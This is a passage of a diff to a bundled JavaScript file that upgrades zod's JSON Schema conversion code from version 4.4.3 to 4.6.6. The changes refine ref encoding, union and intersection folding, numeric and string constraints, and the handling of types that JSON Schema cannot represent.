?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66313,10 +70540,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66338,9 +70674,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66384,8 +70720,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66403,19 +70767,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66458,7 +70826,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66499,19 +70867,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66520,10 +70976,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66532,19 +70993,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66552,13 +71013,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66582,21 +71040,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66607,15 +71073,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66624,35 +71086,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66678,10 +71142,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66693,93 +71155,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66787,7 +71246,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66796,7 +71255,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66808,11 +71267,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66822,6 +71281,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66829,19 +71289,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66849,61 +71325,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66914,35 +71466,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66950,32 +71522,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, 